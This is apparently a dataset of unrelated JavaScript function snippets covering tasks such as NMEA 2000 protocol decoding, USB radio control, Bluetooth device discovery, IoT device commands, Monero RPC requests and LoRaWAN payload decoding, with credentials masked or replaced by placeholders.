decoder_items.end_sample_index);\n ScanaStudio.dec_item_add_content(\"Line-Line AC RMS Voltage : \" + (multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\");\n ScanaStudio.dec_item_add_content((multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\");\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n start_item,\n decoder_items.end_sample_index,\n \"Data\",\n (\"Line-Line Voltage : \" + (multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\"),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n skip_item = true;\n break;\n }\n case 2 :\n {\n start_item = decoder_items.start_sample_index;\n multi_byte_value = hex_value;\n skip_item = true;\n break;\n }\n case 3 :\n {\n multi_byte_value += (hex_value<<8);\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\n ScanaStudio.dec_item_add_content(\"Line-Neutral AC RMS Voltage : \" + (multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\");\n ScanaStudio.dec_item_add_content((multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\");\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n start_item,\n decoder_items.end_sample_index,\n \"Data\",\n (\"Line-Neutral Voltage : \" + (multi_byte_value.toString().replace(/(\\d)(?=(\\d{3})+\\b)/g,'$1 ')) + \" V\"),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n skip_item = true;\n break;\n }\n case 4 :\n {\n start_item = decoder_items.start_sample_index;\n multi_byte_value = hex_value;\n skip_item = true;\n break;\n }\n case 5 :\n {\n multi_byte_value += (hex_value<<8);\n multi_byte_value = Math.floor(multi_byte_value/128);\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\n ScanaStudio.dec_item_add_content(\"AC Frequency : \" + multi_byte_value + \"Hz\");\n ScanaStudio.dec_item_add_content(multi_byte_value + \" kWh\");\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n start_item,\n decoder_items.end_sample_index,\n \"Data\",\n (\"AC Frequency : \" + multi_byte_value + \"Hz\"),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n skip_item = true;\n break;\n }\n default :\n {\n packet_title = \"Filled Data\";\n if (hex_value == 255)\n {\n item_content = \"Filled with 0xFF\";\n }\n else\n {\n item_content = \"0x\" + pad(hex_value.toString(16),2) + \", should be 0xFF\";\n types_title = ScanaStudio.PacketColors.Error.Title;\n types_content = ScanaStudio.PacketColors.Error.Content;\n }\n break;\n }\n }//end switch (data_nb)\n}//end function Bus_Phase_C","function proprietary_fast_packet (decoder_items) //126720/130816/130817/130818/130819/130820/130821/130824/130827/130828/130831/130832/130834/130835/130836/130837/130838/130839/130840/130842/130843/130845/130847/130850/130851/130856/130880/130881/130944\n{\n var str = \"\";\n switch (fast_packet_byte)\n {\n case 1 :\n {\n start_item = decoder_items.start_sample_index;\n multi_byte_value = hex_value;\n skip_item = true;\n break;\n }\n case 2 :\n {\n var manufacturer_code = multi_byte_value + (((hex_value>>5)&0x7)<<8);\n var reserved = (hex_value>>3)&0x3;\n var industry_code = hex_value&0x7;\n end_item = decoder_items.start_sample_index + (decoder_items.end_sample_index - decoder_items.start_sample_index)/8*3;\n str = LOOKUP_MANUFACTURER(manufacturer_code);\n ScanaStudio.dec_item_new(decoder_items.channel_index, start_item, end_item);\n ScanaStudio.dec_item_add_content(\"Manufacturer Code : \" + str);\n ScanaStudio.dec_item_add_content(\"\" + str);\n ScanaStudio.dec_item_add_content(str);\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n start_item,\n end_item,\n \"Fast Packet Data\",\n (\"Manufacturer Code : \" + str),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n start_item = end_item;\n end_item = decoder_items.start_sample_index + (decoder_items.end_sample_index - decoder_items.start_sample_index)/8*5;\n ScanaStudio.dec_item_new(decoder_items.channel_index, start_item, end_item);\n ScanaStudio.dec_item_add_content(\"Reserved : 0x\" + pad(reserved.toString(16),1));\n ScanaStudio.dec_item_add_content(\"Reserved\");\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n start_item,\n end_item,\n \"Fast Packet Data\",\n (\"Reserved : 0x\" + pad(reserved.toString(16),1)),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n str = LOOKUP_INDUSTRY_CODE(industry_code);\n ScanaStudio.dec_item_new(decoder_items.channel_index, end_item, decoder_items.end_sample_index);\n ScanaStudio.dec_item_add_content(\"Industry Code : \" + str);\n ScanaStudio.dec_item_add_content(str);\n ScanaStudio.dec_item_end();\n // Packet View\n ScanaStudio.packet_view_add_packet(false,\n decoder_items.channel_index,\n end_item,\n decoder_items.end_sample_index,\n \"Fast Packet Data\",\n (\"Industry Code : \" + str),\n ScanaStudio.PacketColors.Data.Title,\n ScanaStudio.PacketColors.Data.Content);\n skip_item = true;\n break;\n }\n default :\n {\n packet_title = \"Byte n°\" + fast_packet_byte;\n item_content = \"0x\" + pad(hex_value.toString(16),2);\n break;\n }\n }\n}","loadSample(url, name, callback)\n {\n let request = new XMLHttpRequest();\n request.open('GET', url, true);\n request.responseType = 'arraybuffer';\n request.onload = function()\n {\n let audioData = request.response;\n drummachineInst.audioContext.decodeAudioData(audioData, function(buffer)\n {\n callback(buffer,name);\n });\n };\n request.send();\n }","function GetDeviceIP(){\n showBackgroundImage('wait_message');\n getContent('','/cgi-bin/setup.cgi?GetDeviceIP','function:ShowGetDeviceIP');\n}","function BYB_GetBalance() { \n var bybrequest = {\n \"id\" : \"BYB\",\n \"name\" : \"Bybit\",\n \"apikey\" : '•••••••••',\n \"secret\" : '•••••••••',\n \"command\" : \"/open-api/wallet/fund/records\",\n // \"uri\" : \"https://api.bybit.com\",\n \"uri\" : \"api-testnet.bybit.com\",\n \"apiversion\" : \"/v1/\",\n \"method\" : \"get\",\n \"payload\" : \"\"\n }; \n\n var response = BYB_PrivateRequest(bybrequest);\n Logger.log( JSON.parse(UrlFetchApp.fetch(response.uri, response.params)) );\n}","function processDeviceCommand(request, response) {\n\t\n\tvar deviceIP = request.headers[\"tuyapi-ip\"]\n\tvar deviceID = request.headers[\"tuyapi-devid\"]\n\tvar localKey = request.headers[\"tuyapi-localkey\"]\n\tvar command = request.headers[\"tuyapi-command\"] \n\n\t//var respMsg = \"deviceCommand sending to deviceID: \" + deviceID + \" Command: \" + command;\n\tvar respMsg = \"deviceCommand sending to IP: \" + deviceIP + \" Command: \" + command;\n\tconsole.log(respMsg);\n\n\tvar device = new TuyaDevice({\n\t //ip: deviceIP,\n\t id: deviceID,\n\t key: localKey\n\t , issueGetOnConnect: false\n\t});\n\n\tdevice.on('error', error => {\n\t\tconsole.log('Error!', error);\n\t});\n\n\t(async () => {\n\t\tawait device.find();\t \n\n\t\tawait device.connect();\t \n\t\tconsole.log('Connected to device!');\n\t\tlet status = await device.get();\t \n\t\tconsole.log(`Current status: ${status}.`);\t\n\t\tswitch(command) {\n\t\t\tcase \"off\":\t\n\t\t\t\tconsole.log('Setting to false!');\n\t\t\t\tawait device.set({set: false});\n\t\t\tbreak\n\t\t\tcase \"on\":\n\t\t\t\tconsole.log('Setting to true!');\n\t\t\t\tawait device.set({set: true});\n\t\t\tbreak\n\t\t\tcase \"status\":\t\n\t\t\t\tconsole.log('Received status request!');\n\t\t\tbreak\n\t\t}\n\t\tstatus = await device.get(); \t\t \n\t\tconsole.log(`New status: ${status}.`);\t \n\t\tdevice.disconnect();\n\n\t\ttry{\n\t\t\tconsole.log(\"Sending Status to SmartThings:\" +status);\t\n\t\t\tresponse.setHeader(\"tuyapi-onoff\", status);\n\t\t\tresponse.setHeader(\"cmd-response\", status);\n\t\t\tresponse.end();\n\t\t\tconsole.log(\"Status sent to SmartThings:\" +status);\t\n\t\t}catch (err){\n\t\t\tconsole.log(\"Error:\" +err);\t\n\t\t}\n\t})();\t\n}","prepare() {\n if (!navigator.bluetooth) {\n this.log_.warn('Bluetooth Web support is not available!');\n return;\n } else if (this.prepared) {\n return;\n }\n\n this.log_.debug('Preparing Bluetooth LowEnergy support...');\n this.devices_.prepare();\n\n this.prepared = true;\n }","function RadioController() {\n\n var TUNER = {'vendorId': 0x0bda, 'productId': 0x2838};\n var SAMPLE_RATE = 2048000;\n var BUFS_PER_SEC = 5;\n var SAMPLES_PER_BUF = Math.floor(SAMPLE_RATE / BUFS_PER_SEC);\n var NULL_FUNC = function(){};\n var STATE = {\n OFF: 0,\n STARTING: 1,\n PLAYING: 2,\n STOPPING: 3,\n CHG_FREQ: 4,\n SCANNING: 5\n };\n var SUBSTATE = {\n USB: 1,\n TUNER: 2,\n ALL_ON: 3,\n TUNING: 4,\n PLAYING: 5\n };\n\n var decoder = new Worker('decode-worker.js');\n var player = new Player();\n var state = new State(STATE.OFF);\n var requestingBlocks = 0;\n var playingBlocks = 0;\n var frequency = 88500000;\n var stereo = true;\n var stereoEnabled = true;\n var errorHandler;\n var tuner;\n var connection;\n var ui;\n\n /**\n * Starts playing the radio.\n * @param {Function=} opt_callback A function to call when the radio\n * starts playing.\n */\n function start(opt_callback) {\n if (state.state == STATE.OFF) {\n state = new State(STATE.STARTING, SUBSTATE.USB, opt_callback);\n chrome.permissions.request(\n {'permissions': [{'usbDevices': [TUNER]}]},\n function(res) {\n if (!res) {\n state = new State(STATE.OFF);\n throwError('This app has no permission to access the USB ports.');\n } else {\n processState();\n }\n });\n } else if (state.state == STATE.STOPPING || state.state == STATE.STARTING) {\n state = new State(STATE.STARTING, state.substate, opt_callback);\n }\n }\n\n /**\n * Stops playing the radio.\n * @param {Function=} opt_callback A function to call after the radio\n * stops playing.\n */\n function stop(opt_callback) {\n if (state.state == STATE.OFF) {\n opt_callback && opt_callback();\n } else if (state.state == STATE.STARTING || state.state == STATE.STOPPING) {\n state = new State(STATE.STOPPING, state.substate, opt_callback);\n } else if (state.state != STATE.STOPPING) {\n state = new State(STATE.STOPPING, SUBSTATE.ALL_ON, opt_callback);\n }\n }\n\n /**\n * Tunes to another frequency.\n * @param {number} freq The new frequency in Hz.\n */\n function setFrequency(freq) {\n if (state.state == STATE.PLAYING || state.state == STATE.CHG_FREQ\n || state.state == STATE.SCANNING) {\n state = new State(STATE.CHG_FREQ, null, freq);\n } else {\n frequency = freq;\n ui && ui.update();\n }\n }\n\n /**\n * Returns the currently tuned frequency.\n * @return {number} The current frequency in Hz.\n */\n function getFrequency() {\n return frequency;\n }\n\n /**\n * Searches a given frequency band for a station, starting at the\n * current frequency.\n * @param {number} min The minimum frequency, in Hz.\n * @param {number} max The maximum frequency, in Hz.\n * @param {number} step The step between stations, in Hz. The step's sign\n * determines the scanning direction.\n */\n function scan(min, max, step) {\n if (state.state == STATE.PLAYING || state.state == STATE.SCANNING) {\n var param = {\n min: min,\n max: max,\n step: step,\n start: frequency\n };\n state = new State(STATE.SCANNING, SUBSTATE.TUNING, param);\n }\n }\n\n /**\n * Returns whether the radio is doing a frequency scan.\n * @return {boolean} Whether the radio is doing a frequency scan.\n */\n function isScanning() {\n return state.state == STATE.SCANNING;\n }\n\n /**\n * Returns whether the radio is currently playing.\n * @param {boolean} Whether the radio is currently playing.\n */\n function isPlaying() {\n return state.state != STATE.OFF && state.state != STATE.STOPPING;\n }\n\n /**\n * Returns whether the radio is currently stopping.\n * @param {boolean} Whether the radio is currently stopping.\n */\n function isStopping() {\n return state.state == STATE.STOPPING;\n }\n\n /**\n * Returns whether a stereo signal is being decoded.\n * @param {boolean} Whether a stereo signal is being decoded.\n */\n function isStereo() {\n return stereo;\n }\n\n /**\n * Enables or disables stereo decoding.\n * @param {boolean} enable Whether stereo decoding should be enabled.\n */\n function enableStereo(enable) {\n stereoEnabled = enable;\n ui && ui.update();\n }\n\n /**\n * Returns whether stereo decoding is enabled.\n * @return {boolean} Whether stereo decoding is enabled.\n */\n function isStereoEnabled() {\n return stereoEnabled;\n }\n\n /**\n * Saves a reference to the current user interface controller.\n * @param {Object} iface The controller. Must have an update() method.\n */\n function setInterface(iface) {\n ui = iface;\n }\n\n /**\n * Sets a function to be called when there is an error.\n * @param {Function} handler The function to call. Its only parameter\n * is the error message.\n */\n function setOnError(handler) {\n errorHandler = handler;\n }\n\n /**\n * Handles an error.\n * @param {string} msg The error message.\n */\n function throwError(msg) {\n if (errorHandler) {\n errorHandler(msg);\n } else {\n throw msg;\n }\n }\n\n /**\n * Starts the decoding pipeline.\n */\n function startPipeline() {\n // In this way we read one block while we decode and play another.\n if (state.state == STATE.PLAYING) {\n processState();\n }\n processState();\n }\n\n /**\n * Performs the appropriate action according to the current state.\n */\n function processState() {\n if (state.state == STATE.STARTING) {\n if (state.substate == SUBSTATE.USB) {\n state = new State(STATE.STARTING, SUBSTATE.TUNER, state.param);\n chrome.usb.findDevices(TUNER,\n function(conns) {\n if (conns.length == 0) {\n state = new State(STATE.OFF);\n throwError('USB tuner device not found. The Radio Receiver ' +\n 'app needs an RTL2832U-based DVB-T dongle ' +\n '(with an R820T tuner chip) to work.');\n } else {\n connection = conns[0];\n processState();\n }\n });\n } else if (state.substate == SUBSTATE.TUNER) {\n state = new State(STATE.STARTING, SUBSTATE.ALL_ON, state.param);\n tuner = new RTL2832U(connection);\n tuner.setOnError(throwError);\n tuner.open(function() {\n tuner.setSampleRate(SAMPLE_RATE, function(rate) {\n tuner.setCenterFrequency(frequency, function() {\n processState();\n })})});\n } else if (state.substate == SUBSTATE.ALL_ON) {\n var cb = state.param;\n state = new State(STATE.PLAYING);\n tuner.resetBuffer(function() {\n cb && cb();\n ui && ui.update();\n startPipeline();\n });\n }\n } else if (state.state == STATE.PLAYING) {\n ++requestingBlocks;\n tuner.readSamples(SAMPLES_PER_BUF, function(data) {\n --requestingBlocks;\n if (state.state == STATE.PLAYING) {\n if (playingBlocks <= 2) {\n ++playingBlocks;\n decoder.postMessage([data, stereoEnabled]);\n }\n }\n processState();\n });\n } else if (state.state == STATE.CHG_FREQ) {\n if (requestingBlocks > 0) {\n return;\n }\n frequency = state.param;\n ui && ui.update();\n tuner.setCenterFrequency(frequency, function() {\n tuner.resetBuffer(function() {\n state = new State(STATE.PLAYING);\n startPipeline();\n })});\n } else if (state.state == STATE.SCANNING) {\n if (requestingBlocks > 0) {\n return;\n }\n var param = state.param;\n if (state.substate == SUBSTATE.TUNING) {\n frequency += param.step;\n if (frequency > param.max) {\n frequency = param.min;\n } else if (frequency < param.min) {\n frequency = param.max;\n }\n ui && ui.update();\n state = new State(STATE.SCANNING, SUBSTATE.PLAYING, param);\n tuner.setCenterFrequency(frequency, function() {\n tuner.resetBuffer(processState);\n });\n } else if (state.substate == SUBSTATE.PLAYING) {\n if (frequency == param.start) {\n state = new State(STATE.PLAYING);\n startPipeline();\n return;\n }\n state = new State(STATE.SCANNING, SUBSTATE.TUNING, param);\n var scanData = {\n 'scanning': true,\n 'frequency': frequency\n };\n ++requestingBlocks;\n tuner.readSamples(SAMPLES_PER_BUF, function(data) {\n --requestingBlocks;\n if (state.state == STATE.SCANNING) {\n ++playingBlocks;\n decoder.postMessage([data, stereoEnabled, scanData]);\n }\n processState();\n });\n }\n } else if (state.state == STATE.STOPPING) {\n if (state.substate == SUBSTATE.ALL_ON) {\n if (requestingBlocks > 0) {\n return;\n }\n state = new State(STATE.STOPPING, SUBSTATE.TUNER, state.param);\n ui && ui.update();\n tuner.close(function() {\n processState();\n });\n } else if (state.substate == SUBSTATE.TUNER) {\n state = new State(STATE.STOPPING, SUBSTATE.USB, state.param);\n chrome.usb.closeDevice(connection, function() {\n processState();\n });\n } else if (state.substate == SUBSTATE.USB) {\n var cb = state.param;\n state = new State(STATE.OFF);\n cb && cb();\n ui && ui.update();\n }\n }\n }\n\n /**\n * Receives the sound from the demodulator and plays it.\n * @param {Event} msg The data sent by the demodulator.\n */\n decoder.onmessage = function(msg) {\n --playingBlocks;\n var newStereo = !!msg.data[1];\n if (newStereo != stereo) {\n stereo = newStereo;\n ui && ui.update();\n }\n player.play(msg.data[0], msg.data[1]);\n if (state.state == STATE.SCANNING && msg.data[2] && msg.data[2]['scanning']) {\n if (overload(msg.data[0]) < 0.075) {\n setFrequency(msg.data[2].frequency);\n }\n }\n };\n\n /**\n * Calculates the proportion of samples above maximum amplitude.\n * @param {Samples} samples The audio stream.\n * @param {number} The proportion of samples above the maximum amplitude.\n */\n function overload(samples) {\n var count = 0;\n for (var i = 0; i < samples.data.length; ++i) {\n if (samples.data[i] > 1 || samples.data[i] < -1) {\n ++count;\n }\n }\n return count / samples.data.length;\n }\n\n /**\n * Constructs a state object.\n * @param {number} state The state.\n * @param {number=} opt_substate The sub-state.\n * @param {*=} opt_param The state's parameter.\n */\n function State(state, opt_substate, opt_param) {\n return {\n state: state,\n substate: opt_substate,\n param: opt_param\n };\n }\n\n return {\n start: start,\n stop: stop,\n setFrequency: setFrequency,\n getFrequency: getFrequency,\n scan: scan,\n isScanning: isScanning,\n isPlaying: isPlaying,\n isStopping: isStopping,\n isStereo: isStereo,\n enableStereo: enableStereo,\n isStereoEnabled: isStereoEnabled,\n setInterface: setInterface,\n setOnError: setOnError\n };\n}","function FindAVRs()\n{\n var devs = usb.getDeviceList();\n for (var i=0; i {\n console.log('--writeLoginSetting successfully: ',arrData);\n })\n .catch((error) => {\n console.log('--writeLoginSetting failed ',error);\n });\n }","function makeRequest(){\n var mediaRequest = {\n responseType: http$RESPONSETYPE_BINARY,\n parser: CadmiumMediaStream$_parseHeaderBoxes,\n url: _self.downloadUrls[cdn.id],\n cdn: cdn,\n track: track,\n stream: _self,\n offset: 0,\n length: _actualHeaderSize || _estimateHeaderSize(contentProfile),\n diagCaption: type + '-' + bitrate + '-hdr',\n cacheBuster: true\n };\n playback.httpPlayback.download(mediaRequest, processResponse);\n }","async sendBinaryRequest(path, params) {\n if (LibraryUtils.getLogLevel() >= 2) console.log(\"sendBinaryRequest(\" + path + \", \" + JSON.stringify(params) + \")\");\n \n // load wasm module\n await LibraryUtils.loadKeysModule();\n \n // serialize params\n let paramsBin = MoneroUtils.jsonToBinary(params);\n \n try {\n \n // send http request\n let resp = await HttpClient.request({\n method: \"POST\",\n uri: this.getUri() + '/' + path,\n username: this.getUsername(),\n password: this.getPassword(),\n body: paramsBin,\n rejectUnauthorized: this.config.rejectUnauthorized,\n requestApi: GenUtils.isFirefox() ? \"xhr\" : \"fetch\"\n });\n \n // validate response\n MoneroRpcConnection.validateHttpResponse(resp);\n \n // process response\n resp = resp.body;\n if (!(resp instanceof Uint8Array)) {\n console.error(\"resp is not uint8array\");\n console.error(resp);\n }\n if (resp.error) throw new MoneroRpcError(resp.error.message, resp.error.code, path, params);\n return resp;\n } catch (err) {\n if (err instanceof MoneroRpcError) throw err;\n else throw new MoneroRpcError(err, undefined, path, params);\n }\n }","async getData() {\n\t\t//first we have to find out all the gateways we have to query\n\t\tvar that = this;\n\t\tlet web3 = new Web3(new Web3.providers.HttpProvider(\"https://rinkeby.infura.io\"));\n\t\tlet mphr = new web3.eth.Contract(JSON.parse(mphrABI));\n\t\tmphr.options.address = this.props.profile.mphr;\n\n\t\tmphr.methods.returnGateways().call({}, function (error, result) {\n\t\t\tif(error) { throw (error); }\n\t\t\tfor(var i = 0; i < result.length; i++) {\n\t\t\t\tlet hex = result[i].toString();//force conversion\n\t\t\t\tlet gateway = '';\n\t\t\t\tfor (var j = 0; (j < hex.length && hex.substr(j, 2) !== '00'); j += 2) {\n\t\t\t\t\tgateway += String.fromCharCode(parseInt(hex.substr(j, 2), 16));\n\t\t\t\t}\n\t\t\t\tthat.request(gateway.slice(1), that.props.profile.id, \"all\");\n\t\t\t}\n\t\t});\n\t}","requestGetDeviceName() {\n if (!this.connected) { return; }\n this.writeMessage(MESSAGE_TYPE_GET_DEVICE_NAME, new Uint8Array(0));\n }","async WebGetBinaryStructures(url) {\n var r = await this._BaseWebRequest(url, \"arraybuffer\", \"GET\", null);\n var decoder = new DeltaBinaryStructuresDecoder(new DataView(r));\n decoder.Decode();\n return decoder;\n }","async function findDevice() {\n const device = await liff.bluetooth.requestDevice().catch(e => {\n flashSDKError(e);\n onScreenLog(`ERROR on requestDevice: ${e}`);\n throw e;\n });\n // onScreenLog('detect: ' + device.id);\n\n try {\n if (!deviceUUIDSet.has(device.id)) {\n deviceUUIDSet.add(device.id);\n addDeviceToList(device);\n } else {\n // TODO: Maybe this is unofficial hack > device.rssi\n document.querySelector(`#${device.id} .rssi`).innerText = device.rssi;\n }\n\n checkAvailablityAndDo(() => setTimeout(findDevice, 100));\n } catch (e) {\n onScreenLog(`ERROR on findDevice: ${e}\\n${e.stack}`);\n }\n}","async function upload( cmd_array, fastspeed = true){\n let fullflag = false\n \n if(cmd_array.length>1){\n fullflag = Boolean(parseInt(cmd_array[1]))\n }\n\n if(fastspeed){\n await blxConnectionFast()\n if(blxErrMsg) return\n }\n\n for(;;){ // Unlock Device (locked in FAST mode)\n await blxDeviceCmd('v', 5000) // Get virtual Disk Dir\n if (blxErrMsg) break\n\n if(fullflag === true){ // After 1.st true BLE cmd bec. of deviceMAC\n await blStore.remove(blxIDs.deviceMAC + '_data.edt')\n await blStore.remove(blxIDs.deviceMAC + '_data.edt.old')\n }\n \n await calcMem(true) // With adjust\n if(blxErrMsg) break\n\n terminalPrint('Available Data (Bytes): Total: ' + blxDataMem.total + ', New: ' + blxDataMem.incnew)\n\n if(blxUserCB) {\n if(fullflag) blxUserCB('UPLOAD',blxDataMem.total,'FULL') \n else blxUserCB('UPLOAD',blxDataMem.incnew,'INC') \n }\n \n await updateFile('data.edt', fullflag)\n if(blxErrMsg) break\n\n await updateFile('data.edt.old', fullflag)\n //if(blxErrMsg) break // not needed\n\n break \n } // for\n\n if(fastspeed){ // With NO data, direct CF->CS might raise GATT ERROR\n await blxConnectionSlow()\n }\n }","async function findDevice() {\n const device = await liff.bluetooth.requestDevice().catch(e => {\n flashSDKError(e);\n onScreenLog(`ERROR on requestDevice: ${e}`);\n throw e;\n });\n // onScreenLog('detect: ' + device.id);\n\n try {\n if (!deviceUUIDSet.has(device.id)) {\n deviceUUIDSet.add(device.id);\n addDeviceToList(device);\n } else {\n // TODO: Maybe this is unofficial hack > device.rssi\n document.querySelector(`#${device.id} .rssi`).innerText = device.rssi;\n }\n\n checkAvailablityAndDo(() => setTimeout(findDevice, 100));\n } catch (e) {\n onScreenLog(`ERROR on findDevice: ${e}\\n${e.stack}`);\n }\n}","function trackerRequest() {\n const buff = Buffer.alloc(16);\n buff.writeUInt32BE(0x417, 0);\n buff.writeUInt32BE(0x27101980, 4);\n buff.writeUInt32BE(0, 8);\n crypto.randomBytes(4).copy(buff, 12);\n return (buff);\n}","function calculateChallengeResponse(challenge, adminkey) {\n var objAlg =\n Windows.Security.Cryptography.Core.SymmetricKeyAlgorithmProvider\n .openAlgorithm(\n Windows.Security.Cryptography.Core.SymmetricAlgorithmNames\n .tripleDesCbc);\n\n var symetricKey = objAlg.createSymmetricKey(adminkey);\n var buffEncrypted =\n Windows.Security.Cryptography.Core.CryptographicEngine.encrypt(\n symetricKey,\n challenge,\n null);\n\n return buffEncrypted;\n }","function getConvolver () {\n const ajax = new window.XMLHttpRequest()\n\n ajax.open('GET', convolverUrl, true)\n\n ajax.responseType = 'arraybuffer'\n\n ajax.onload = function () {\n const audioData = ajax.response\n\n audioCtx.decodeAudioData(audioData, function (buffer) {\n soundSource = audioCtx.createBufferSource()\n convolver.buffer = buffer\n }, function (e) { console.log('Error with decoding audio data' + e.err) })\n\n soundSource.connect(audioCtx.destination)\n soundSource.loop = true\n soundSource.start()\n }\n\n ajax.send()\n }","function getdevicelist (dev, callback)\n{\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\n {\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-12';\n webphone_api.plhandler.GetDeviceList(dev, callback);\n }\n}","function Decoder(bytes, port) {\n // Decode an uplink message from a buffer\n // (array) of bytes to an object of fields.\n var decoded = {};\n\n if (! (port === 3))\n return null;\n\n // see catena-message-port3-format.md\n // i is used as the index into the message. Start with the flag byte.\n // note that there's no discriminator.\n // test vectors are also available there.\n var i = 0;\n // fetch the bitmap.\n var flags = bytes[i++];\n\n if (flags & 0x1) {\n // set Vraw to a uint16, and increment pointer\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n // interpret uint16 as an int16 instead.\n if (Vraw & 0x8000)\n Vraw += -0x10000;\n // scale and save in result.\n decoded.Vbat = Vraw / 4096.0;\n }\n\n if (flags & 0x2) {\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n if (Vraw & 0x8000)\n Vraw += -0x10000;\n decoded.VDD = Vraw / 4096.0;\n }\n\n if (flags & 0x4) {\n var iBoot = bytes[i];\n i += 1;\n decoded.boot = iBoot;\n }\n\n if (flags & 0x8) {\n // we have temp, pressure, RH\n var tRaw = (bytes[i] << 8) + bytes[i + 1];\n if (tRaw & 0x8000)\n tRaw = -0x10000 + tRaw;\n i += 2;\n var rhRaw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n\n decoded.t = tRaw / 256;\n decoded.rh = rhRaw / 65535.0 * 100;\n decoded.tDew = dewpoint(decoded.t, decoded.rh);\n decoded.tHeatIndexC = CalculateHeatIndexCelsius(decoded.t, decoded.rh);\n }\n\n if (flags & 0x10) {\n // we have light irradiance info\n var irradiance = {};\n decoded.irradiance = irradiance;\n\n var lightRaw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n irradiance.IR = lightRaw;\n\n lightRaw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n irradiance.White = lightRaw;\n\n lightRaw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n irradiance.UV = lightRaw;\n }\n\n if (flags & 0x20) {\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n if (Vraw & 0x8000)\n Vraw += -0x10000;\n decoded.Vbus = Vraw / 4096.0;\n }\n\n // at this point, decoded has the real values.\n return decoded;\n}","function callAPI(req,res,handleResponse){\n var host = 'www.blueworkslive.com';\n var username = 'xxxx';\n var password = 'yyyy';\n var path = '/api/Auth';\n var headers = {\n 'Authorization': 'Basic ' + new Buffer(username+':'+password).toString('base64'),\n };\n var options = {\n host: host,\n path: path,\n method: 'GET',\n headers: headers\n };\n var bwlResData = {};\n console.log('BwlApiCall: Request '+options.method+' https://'+options.host+options.path);\n var bwlRequest = https.request(options, function(bwlResponse) {\n\tconsole.log(\"BwlApiCall: Response status=\"+bwlResponse.statusCode);\n\tbwlResData.status = bwlResponse.statusCode; // statusCode >= 200 and < 300 is OK\n\tbwlResData.headers = bwlResponse.headers;\n\tvar bufferData = [];\n\tbwlResponse.on('data', function(data) {\n\t bufferData.push(data);\n console.info('BwlApiCall: Response data received');\n\t});\n\tbwlResponse.on('end', function() {\n console.info('BwlApiCall: completed, calling callback');\n\t bwlResData.data = Buffer.concat(bufferData);\n\t handleResponse(req, res, bwlResData);\n });\n });\n/* if ((reqData.method == \"post\" || reqData.method == \"put\") && reqData.senddata) {\n console.log(reqData.method+' sending data: '+reqData.senddata);\n bwlRequest.write(reqData.senddata);\n } */\n bwlRequest.end();\n bwlRequest.on('error', function(e){\n console.error('BwlApiCall: REQUEST-ERROR '+e);\n });\n}","retrieveDevice(req, res) {\n res.json({ message: \"Device\", data: req.device });\n }","getDeviceDescription(deviceId, callback, retryCounter) {\n let ip;\n if (!retryCounter) retryCounter = 0;\n if (retryCounter > 2) {\n return callback && callback(new Error('timeout on response'));\n }\n if (deviceId.includes('#')) {\n if (!this.knownDevices[deviceId] || !this.knownDevices[deviceId].ip) {\n return callback && callback('device unknown');\n }\n ip = this.knownDevices[deviceId].ip;\n }\n else ip = deviceId;\n this.logger && this.logger('CoAP device description request for ' + deviceId + ' to ' + ip + '(' + retryCounter + ')');\n let retryTimeout = null;\n try {\n const req = coap.request({\n host: ip,\n //port: 5683,\n method: 'GET',\n pathname: '/cit/d'\n });\n\n retryTimeout = setTimeout(() => {\n this.getDeviceDescription(deviceId, callback, ++retryCounter);\n callback = null;\n }, 2000);\n req.on('response', (res) => {\n clearTimeout(retryTimeout);\n const options = {};\n res.options.forEach((opt) => {\n if (!options[opt.name]) {\n options[opt.name] = opt.value;\n }\n else {\n options[opt.name] += '/' + opt.value;\n }\n });\n this.logger && this.logger('CoAP response: ' + JSON.stringify(options));\n\n const deviceId = this.initDevice(options, res.rsinfo);\n if (!deviceId) return;\n\n let payload = res.payload.toString();\n if (!payload.length) {\n this.logger && this.logger('CoAP payload empty: ' + JSON.stringify(options));\n return;\n }\n try {\n\n if (payload.indexOf('`') !== -1) {\n this.logger && this.logger(payload);\n payload = payload.substr(0, payload.lastIndexOf('`'));\n this.logger && this.logger('CoAP payload cutted: ' + payload.indexOf('`'));\n }\n\n payload = JSON.parse(payload);\n }\n catch (err) {\n this.emit('error', err + ' (res) for JSON ' + payload);\n return;\n }\n this.logger && this.logger('Device description received: ' + JSON.stringify(options) + ' / ' + JSON.stringify(payload));\n if (req.rsinfo) {\n this.knownDevices[deviceId].ip = req.rsinfo.address;\n this.knownDevices[deviceId].port = req.rsinfo.port;\n }\n 